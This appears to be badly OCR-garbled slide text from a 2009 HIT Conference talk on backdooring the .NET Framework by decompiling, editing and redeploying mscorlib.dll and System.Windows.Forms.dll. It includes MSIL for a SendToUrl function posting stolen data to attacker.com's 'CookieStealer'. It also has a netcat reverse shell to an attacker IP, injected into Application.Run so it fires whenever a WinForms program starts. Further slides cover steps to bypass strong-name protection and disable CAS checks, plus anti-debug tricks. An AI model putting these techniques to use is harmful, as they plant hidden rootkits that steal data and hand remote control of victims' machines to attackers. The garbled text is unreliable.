a@y Micrasoft Fimal@todio ¥EHel . 8000 BO2ESE7E1 14 50a%a

s Microsoft VisualZtodio. Windo... 2.00.0 BOZESE7E1 1d50a3a MEIL

gy microsoft visualstodio window... 2.0.0.0 zh-CHT bO2E5E711 1d.50a%a MEIL

4@y Micmosnft Fisval@todio Wizar .. 5.0.0.0 bO=2E51711 1d 50a%a REIL

sy microsoft visualstodio wizaxdf... 2.0.0.0 zsh-CHT BOZESEFE] 14 50a% MEIL

4@ Microsoft. ¥ isnalStudio Zip g2.00.0 BOZE5E711 1d.50a3 MEIL

4@y microsoft visualstodio zip reso... 8.0.0.0 zh-CHT bO2E5E711 1d. 50a%a REIL

s Micrasoft Vaa s000 BO2ESE7E1 14 50a%a MEIL

@) Microsoft ¥ 2. Vb CodeDOME... 5.0.0.0 BOZE5E711 1d.50a3 MEIL

4@ Microsoft ¥ Designer s000 bO2E5E711 1d. 50a%a REIL

a@ Micrasoft ¥EDesgner resources  5.0.0.0 zh-CHT BO2ESE7E1 14 50a%a MEIL

s Microsoft_V=a¥h s.000 BOZESE7E1 1d50a3a MEIL

s#F mecorcfg Z.00.0 bO2E5E7E1 1d.50a%a =BG

4@ mecorcf g resoumces 2000 zh-CHT bOZf5E7E1 1d50a%a MEIL

i 2000 b7 TFaSc 561934089 26

s macorlib. resoumces 2.0.00 zh-CHT bPTaScSal1934e020 MEIL

SEIMEDATAZRC F.OEz0.. bO2E5E711 1d. 50a%a

sy msd dslmp s000 BO2ESE7E1 14 50a%a MEIL

4@ maedd=p g2.00.0 BOZE5E711 1d.50a3 MEIL

4i#Y soapsud scode 2000 bO2E5E711 1d. 50a%a =BG

4@y BoapiudsCode resonrces 2000 =h-CHT bOZf5E71 1d50a%a METL

sy =tdole F.O.230.. BOZESE7E1 1d50a3a

L P, gy | a0 nn FOFCFIFL 1 ACO- T FATTT LI
[EiszEy 1 i (S AR v
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¢ * reflectorsy d)writeline()

ile iewwy  Tool: Help

J
RN ca—— |

=mbler

Write (Object) © Void
Write (Bingle) : Void

Write (St Void smethod public hidebywsiz static woid WriteLine () cil menaged

{
Wheite (O Tat3d) : ¥Woid .custom instance woid Swstem. Security Pernmissions HostProtecton & tiribute - ctorfvaluetype Sarstern Bec
Write (T Int54) - Void maccstack 8 .
Wit (Char[]) - Faoid L_0000: call clasy Swstern. IO, Texdt Writer Sxestern. Consoleget Cutd
o N L i L_0005; callvirt instance wwodd Byesten, IO, TextWriter:: Write L awe ()
Write (String, Object) © Void L_000a: ret
Wite (String, Object[T) : Foid J H

Write (Char[], Int®2, Int32) : Vaoid

Write (String, Object, Object) : Void

Write (String, Object, Object, Object) : Woid

Write (String, Object, Object, Object, Object, .0 0 Void
WriteLd :

Writel-ine(Boolaan) © Woid
WriteLine (Char) : Woid
WriteLine(Decimal) - Woid
WriteLine(Double) : Foid
WriteLdne (Int*2) © Void
WriteLine (IntG4) : Waoid
WriteLine (Object) : Woid
WriteLine (Single) : Woid
WriteLine (String) © Void
WriteLine (TTnt¥2) : Vaid
WriteLine (Char[]) : Woid
WriteLine (UIntbd) : Void

I Writel.ine Shine. OhiectlTh - 1‘flrn'r] _lLI
A »

.method public hidebwsig static void WriteLane) cil managed

{
1

LI <R < Rl < T < <t < < <t < Rt < <l < < Il < R <l < <[ < ] <t <t )

eeeeeeecececdececdeceededd

éal @ =

Q

\J

%
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k% z¥mscorlib.dll

¢ ILDASM /0UT=mscorlib.dll.il /NOBAR /LINENUM /SOURCE
mscorlib.dll

= ﬁMIHHTHasﬁemhlyHEHG F2vmscorlib~2 . _ A.8.8_ bY7a5c561234edB8?>di» mscorlib.dll I’
R © HREIRIIEIE A (R o
i Em FeaiE: 9CBC— 9539

G- WINNMT ~aszsembly~GAC_32mzcorlib~2 _A0_.80_060_ bYY7a5%c5561234el@B9

2080789187 @A?:58a 4,388 .292 mscorlib.dll

1 {EFEEE
8 & H &

Gz WIMNT ~vassembly~GAC_32ms=coxrlib~2_A.8_80_ hY7a5ch561234e@82?>ILDASM ~0UT=m=s=corx1lib
-dl1l1.il ~#HOBAR ~LIMEHUHM A50URCE mscoxrlib.dll

Gz WIMNT ~aszsembly~GAC_32-ms=corlib~2 _A.8_80_ hY7a5ch61234e@qd9 >
G WINNT ~assembly~GAC_32mscorlibh~2 A.8.0__b77a5ch561234e@8? >diyr =_.1il
il ¢ HHEESER S H IRER ©
i [m e Al - 9csc—9539

H#fz: C:“WINNT“assembly~GAC_32mscorlib~2_.B_.8_.8_ h7?7a5c561934e@89
20898317 11:3%a 32,.568.596 mucurllh d11.il

1 {EfEE 32.568.5%96 {if
FF 18.386.125.824

IC:\MIHHTMaﬂgemhly\GHC_BE\mﬂnurlih\ﬂ-E-E-E__h??a5c5519343389}
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zémscorlib.dllil £ #jwriteline(string)

&) rmscodib A1l - SRS
wFRE REE B0 SHEEE

_|Ol x|

.maxstack &
IL 0ooo: <all class System. I0. TextWriter Svstem. Console::get Out ()

IL_000&%:; ldare. 0
IL_0006:  callwirt instance void System. I0. TextWriter::Writeline(object)
IL_000k: ret

T /¢ end of method Console: :Writeline

.method public hidebvsiz static void Writeline(string “wvalue ) cil managec

¥

|

ions. HostProtectiondttribute, mscorlib, Version=Z. 0. 0. 0,
= {propertv kool "UI' = bool Ctrue)ll

TEe
method Console: (Writelineg

.method public hidebysiz static woid Writeline(string format,
: object arsl) cil manaszed

.permissionset linkcheck
= {class " System Security. Permissions. HostProtectionAttribute, mscorlib, Version=2. 0.0.0,

Cul ture=neutral, PublicKevToken=hTTabcER1934e089 = {propertv bool "UI" = kool (truelll

Jf RS 13 (0=xd)
.mazstack &
IL_00o0:  call class System. I0. TextWriter System. Console::get Out ()

IL_0005: ldarg. O

N
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Ej]‘11:51::l:l1']i]:l.lﬂ.]l.il.'.?!.t:-:t- =% _I— _II:I il

wFRE REE B0 SHEEE

= {class " Swstem Securityv. Permissions. HostProtectionfttribute, mscorlib, Version=Z2. 0. 0.0,
Cul ture=neutral, PublicKeyvToken=bTTabchR193de029 = {propertv kool "UI" = bool (truell]

P Ry 12 (0xec)
.maxstack &
IL_00oo:  call class System I0. TextWriter System. Console::get Out ()

IL 000%: ldars. 0D
IL 000g: callwirt instance void System. I0. TextWriter::WritelLine(object)

IL_000k: ret
1 7/ end of method Console: :Writeline

.method public hidebysiz static woid Writeline(string *walue' ) cil manaszed

.permissionset linkcheclk
= {class " Swstem Security. Permissions. HostProtectionAttribute, mscorlib, Version=2. 0.0.0,

Cul ture=neutral, PuklicEeyToken=bT7TabchRl1934e0239 = {propertyv kool "UI° = bool (truell]
AL AR 12 (0xc)

instance vold Svstem. I0, TextWriter::Writeline(string)

P end of method Console: :WritelLine

.method public hidebvsig static woid Writeline(string format,
‘ object ars0) cil manasged

.permissionset linkcheck

[
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WriteLine in MSIL (original VS.
modified code)

.method public hidebwsig static wvoid writeLine(string 'wvalue'l <11 managed

.maxstaclk &

TL_0000: call class Sywstem.I0D. Textwriter Swstem.Console:iget_out(d
IL_0005%: Tdarg.O
TL_Q006: callwirt ingtgnce wiod d System.IOBTextWriter::WPiteLine(string]

IL_000b:  ret
L S5 end of method Console::

Tteline

Print #1 Print #2
(same as (duplicate)
before)

.method public hidebwsig static wald writeLinelstring \wvalue') cil managed
1

.maxstack &

‘ IL_0000: call class System&O.Texth ter Swstem.Cconsole: iget_outll
IL_0005: Tdarg. O
IL_Q006: callwirt instance wvold Swstem.ID. Textwriter: :WriteLine(stringl
X
IL_000k: call class Swstem.I0.TextwWriter Sywstem.Consgle: rget_outll
IL_0010: Tdarg. 0

TL_0011: callwirt instance wold Swstem.I0.Textwriter: :writeLine(string)

IL_OD16: et
1 /S5 end of method Conscle: :writeline
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R NET 0
File ¥iew Toolz Help

==l x|

0O RS2 Ak =
% Write (String, Object, Object, Object) : Void
% Write (String, Object, Object, Object, Object, ..) : Void
%% WriteLine() : Void
%% WriteLine (Boolsan) : Void
%% WriteLine (Char) : Void
%% WriteLine (Decimal) : Void
%% WriteLine(Double) : Void
% WriteLine (Int32) : Void
% WriteLine (Int54) : Void
2 WriteLine(Obiect) : Void J
% WeiteLine (Single) - Void }
@,
W
%% WriteLine (UInt32) : Void
% WritsLine (Char[]) : Void
%% WriteLine (UInt54) : Void
% WritsLine (String, Object[]) : Void
% WriteLine (String, Object) : Void
% WritsLine (Char[], Int32, Int32) : Void
% WriteLine (String, Object, Object) : Void
% WriteLine(String, Object, Object, Object) : Void
% WriteLine (String, Object, Object, Object, Object, ..) : Void
B4 Background Color : ConsoleColor
BufferHeight : Int32
BufferWidth : Int32
%3 CapsLock : Boolsan
? ConzolelnputHandle : IntPte
?‘ ConsoleOutpuiHandle : IntPte
CursorLeft : Int32
Cursoriize : Int32
P CrrsnrTop : Int32
P CursorTisible : Boolean -
‘ I - m T I _}I—I

.method public hidebwsig static void WriteLiane(string 'value") cil l;l
1

E
4 | » 4

£

2]

£

£

FHEEHEF

£

1H B

.method public hidebysig static void WriteLine(string valve cil managed ;I

custom instance void Systemn Security Permissions HostProtectiond teibute:: ctordvaluetype Swstermn Security Permizions Sec
g

|

L_0000: call class Systemn. [0, Texd Writer System Console:get_Outl)

L_0005: ldarg 0

L_0006: callvirt instance void System 10, TexdWriter:: WriteLine (string)

L_000b: call class Systemn. [0, Texd Writer Systemn Console:get_Outl)

L_0010: darg 0

%_gg%é callvirt instance woid Systemn IO Tesd Writer:: WoriteL ine (string)
sret

(L
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C:~Documents and SettingsAdminiztrator~My Documentz*Uizual Studio 20805-FProjects
sumc demo~Debug>""ymc demo' .exe

Hello YWorld

CzsDocuments and SettingssAdministrator“My Documents“Uizual Studio 28805“Projects

~uymc demo ~De buwg >
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2/

K Kk & cacheiTx

+ ngen uninstall mscorlib.dll
+ Replace new mscorlib.dll
+ Ngen install mscorlib.dll

<ExeConfFig-<path to exe?> — Use the configuration of the specified
executable assemhbly

<AppBase:-<path to appbase directory?> — Use the specified directory as
the appbase

Cz~WIMNMHT “Microsoft _HET “Framework>~w2 BAB_5S5@A7ZY>ngen uwuninstall mscoxlib_dll
Microsoft (RH> CLR Hative Image Genexrator — Uersion 2. 885807242
Copyr»ight <G> Microsoft Coyrporation 1298—20802_. All »dights »eserved-

Err»oxr= The specified assembly is not idnstalled.

Zz~WIMNMNHT ~HMicr»osoft _HET ~“Framework>~w2 B_5S5@8727>ngen dnstall mscoxrlib_dll
Microsoft (RH> CLR Hative Image Genexrator — Uersion 2. 885807242
Copyr»ight <G> Microsoft Coyrporation 1298—20802_. All »dights »eserved-
Installing assembly CZ~\WINNHT“-Micr»osoft _ HET ~Framewvork- w2 _BAB_58727-mscoxylib_dll
Compiling 1 assembly:

Compiling assembly S ~WIMHT~-Microsoft _ HMHET~Framewvork--wZ2 _ A_588727~-mzcoxrlib_dll

mscox»lib,., Version=2_.B8.8_. 8, Culture—-neutral, PublicHeuyToken=b77aScHS6l1734eB@@87 <deb
o >

C-WIMHNT “~Microsoft . NHNET ~“Framework w2 BB_L5E80727 >




Work

Error: The specified assembly is not installed.

CzSWINNT ~“Microsoft .MET “Framework- w2 @A.58727>ngen install mscorlib.dll
Micro=zoft ¢R» CLR Hative Image Generator — Uersion 2.0.58727_42
Copyright <C» Microsoft Corporation 192928-2802. All rights reserved.
Installing assembhly C:*WINNT“Microsoft._ HNET “Framework+*-w2 A_.58Y27-mscorlib.dll
Compiling 1 assembly:
Compiling assembly C:“WINMNT*“Microsoft_ MHWET“Framework-w2 A_50727-mszcorlib.dll

mscorlib, Uersion=2_.0.0.8, Culture=neutral, PublicKeyToken=h?7abc561734e@8? <deb
g

G2 sWIMNT “Microsoft .HNET “Framework*w2 BA.58727>cd

C:s>helloworld
Hello <cra=y>» World?
Hello <cra=y¥» World?

*
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12z Framework % . % H

¢ Locate the DLL in the GAC, and copy it
outside

¢ Analyze the DLL
¢ Decompile the DLL using ildasm

+ Modify the MSIL code Recompile to a new
DLL using ilasm

¢ Bypass the GAC strong name protection
+ Reverting back fromm NGEN Native DLL

¢ Deploy the new DLL while overwriting the
nIrPERINRLce 2000
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i GAC 52 % (Strong Name)# =%

o DLLG :xits, ¢ 857 :BGACHR &tk
o Fli & fBDLL‘FK’ﬁ B- 8- o
¢ BRif 2 2
. i T microsoftsh# s (private key)
e} ¥ %4 H(StrongNameRemove1 £)
Bt k- B(Re-signi &)

33 DLLx i it fgenp &5
+ c:\winnt\assembly\GAC_32\mscorlib\2.0.0.0
_b77a5¢c561934e089
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% % pbackdoors £2 rootkits

So now we know we can modify the framework
and make it behave the way we want

It is possible to plant malicious code inside the
framework itself

o We can backdoor some sensitive internal
methods

e |t is also possible to deploy rootkits deep into
the framework

The malicious code will be hidden and undetected
inside the Framework

Code review will never detect them because
they're not at the application level code

HIT Conference 2009
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SendToUrl implementation

o Code:

.method public hidebysig static void SendToUrl(string url,
string data) cil managed
{

.maxstack 8

IL_0000: nop

IL_0001: Idarg.0

IL_0002: Idarg.1

IL_0003: call string System.String: :Concat(string,string)

IL_0008: call class [System]System.Net.WebRequest
[System]System.Net.WebRequest: :Create(string)

IL_000d: callvirt instance class
System]System.Net.WebResponse
System System.Net.WebRequest: :GetResponse()

IL_0012: pop
IL_0013: ret
H}T/L. entk ofimeth@eliClassl: :SendToUrl
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SendToUrl usage

+ The following injected MSIL code will do the job

Jocals init (string V_0)
IL_000Q0: Idstr “SomesSensitiveStolenData™
IL_0005: stloc.0

IL_0006: Idstr
"http://www.attacker.com/CookieStealer/WebFor
ml.asp"

+ "x\?s="
IL_OOOb: Idloc.O
IL 000c: call void

System.Object: :SendToUrl(string,string)
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ReverseShell implementation

¢ netcat IP PORT -e cmd.exe
¢ Code

.method public hidebysig static void ReverseShell(string ip,
int32 port) cil managed
{

// Code size 259 (0x103)
.maxstack 3
Jocals init ([O] string cmdfilename, [1] string filename, [2] uint8[] netcat,

[3] class System.10.BinaryWriter binWriterl,[4] uint8[] cmd,
[5] class System.10.BinaryWriter binWriter2,[6] string arguments,
[7] class [System]System.Diagnostics.Process proc,
[8] object[] CS$0$0000)

IL_0000: nop

IL_0001: Idstr "cmd.exe"

IL_0006: stloc.0

IL_0007: Idstr "netcat.exe"

IL_000c: stloc.1

.I‘I.__0101: pop
IL_0102: ret R
HI7 &onfeetod eRUEHseShell
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ReverseShell usage

¢ The following injected MSIL code will do
the job

IL_0000: Idstr "192.168.50.129" // attacker
Iip address

IL_0005: Idc.i4  Ox4d2 // port 1234

IL_0006: call void
System.Object::ReverseShell(string,int32)
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A A al N

¢ In our next example we'll inject the
ReverseShell function and execute it

+ Let's make a reverse shell every time
a winform executable IS run

e Just for demonstration pusposes..

+ So we'll inject code that execute our
reverse shell into
System.Windows.Forms.dll, at
function Run(Form mainForm)
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C>

Original code

ki

.method public hidebysig static void Run{class System_Windous.Forns.Forn
mainForm) cil managed

{ .
/7 Code size 18 (6x12) Injected

Modified code (pre injection)

.maxstack 8

IL B@e: call class System.Windous.Forns.Application/ThreadContext
Systen.Yindows.Forms.Application/ThreadContext: :FromCurrent()

IL 0885: 1dc.is.mi

IL_6@86: 1ldarg.0

IL_B887: newobj instance void System.Uindows.Forms.ApplicationContext::.
ctor{class System.Windouws.Forns.Form)

IL B8Bc: callvirt instance void System.Windouws.Fornms.Application/ThreadCon
text: :RunkiessageLoop{int32,

class System.Windows.Forns.ApplicationContext)

IL_B011: et
¥ // end of method Application::Run

HIT Conference 2009

.method public hidebysig static weid Run{class System.Windows.Forns.Forn
mainform) cil managed

"EELL.50.129" //attacker machine
Bx4d2 fiport 1234
System.Windows.Forms.Application::ReverseShell

IL_dBAa: ldstr

IL_@AA5: ldc.i4
IL_08886: call void
string,int32)

IL_@8Bb: call ctlass Systenm.llindovs.Forms.Application/ThreadContext
Systen.\lindows.Forms . Application/ThreadContext::FromCurrent()

IL 8818: 1dc.ib.mi

IL_BB11: ldarg.8

IL_8812: neuobj instance veoid Systen.Windows.Forms_ApplicationContext::.
ctor(class System.iindous.Forms.Form)

IL_8817: callvirt instance void Systen.Windows.Forms.Application/ThreadCon
text::RuntiessageLoop(int32,

class System.Windows.Forms.ApplicationContext)

IL_801c: ret
y /f end of method Application::Run
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Disabling security checks

+ Messing around with CAS (Code Access Security)
can be achieved by modifying the behavior of
important classes from System.Security,
System.Security.Permissions, etc..

e Again, from mscorlib.dll..
+ It is possible to disable security checks by
changing the logic of
e CodeAccessPermission::Demand()
e CodeAccessPermission::Deny()
e CodeAccessPermission::Assert()

e FilelOPermission, RegistryPermission, etc.
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Antl Tech

¢ Obfucation
+ Packer & Anti-Debug
¢ Virtual Machine idea
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ODbfuscation

+ Name Obfuscation
o Control-Flow Obfuscation
¢ String Encoding

HIT Sonference 200G
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Control-Flow Obfuscation

¢ Stack/heap crash
* br IL_0000
* POp
e ldc.i4.1
 IL_0000: nop
+ Anti-DeCompiler
» CHLT filter/fault
* try-catch block= 45 (¥ decompiler, e %
. re-compiler)

HIT Sonference 200G
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Packer & Anti-Debug

o Anti-Profiler

* Process initial environment modify
+ COR_ENABLE_PROFILING 10

HIT Conference 2009
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Packer & Anti-Debug

o Anti-Profiler

* .net core patch
+ Sxe |d:Profiler

+Bp
profiler!CprofilerCallback: :JITCompilationSta
rted

+ Mscordbc!EEToProfinterfacelmpl::CreatingP
rofiler+0x??

¢ 3§ > COR _ENABLE_PROFILINGe3s = | » R
" & patche >
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Packer & Anti-Debug

+ Anti-Debug
 DebuggerHiddenAttribute
 DebuggerNonUserCodeAttribute
* DbuggerStepThroughAttribute

+ Anti-ildasm
o SuppresslldasmAttribute

+ Anti-Compiler
* Z +HeResources
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Packer & Anti-Debug

+ Packer
 AdeptCompressor
 .NETZ
* .NET Reactor
 CodeVell

+ Pro-Method Packer
o 2 * JITIxA
o R R RIAHERS 2
T B B -4
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.net 4.0

" DinnerMow - ServicePortfolio? - Microsoft Visual Studio (Administrator) =
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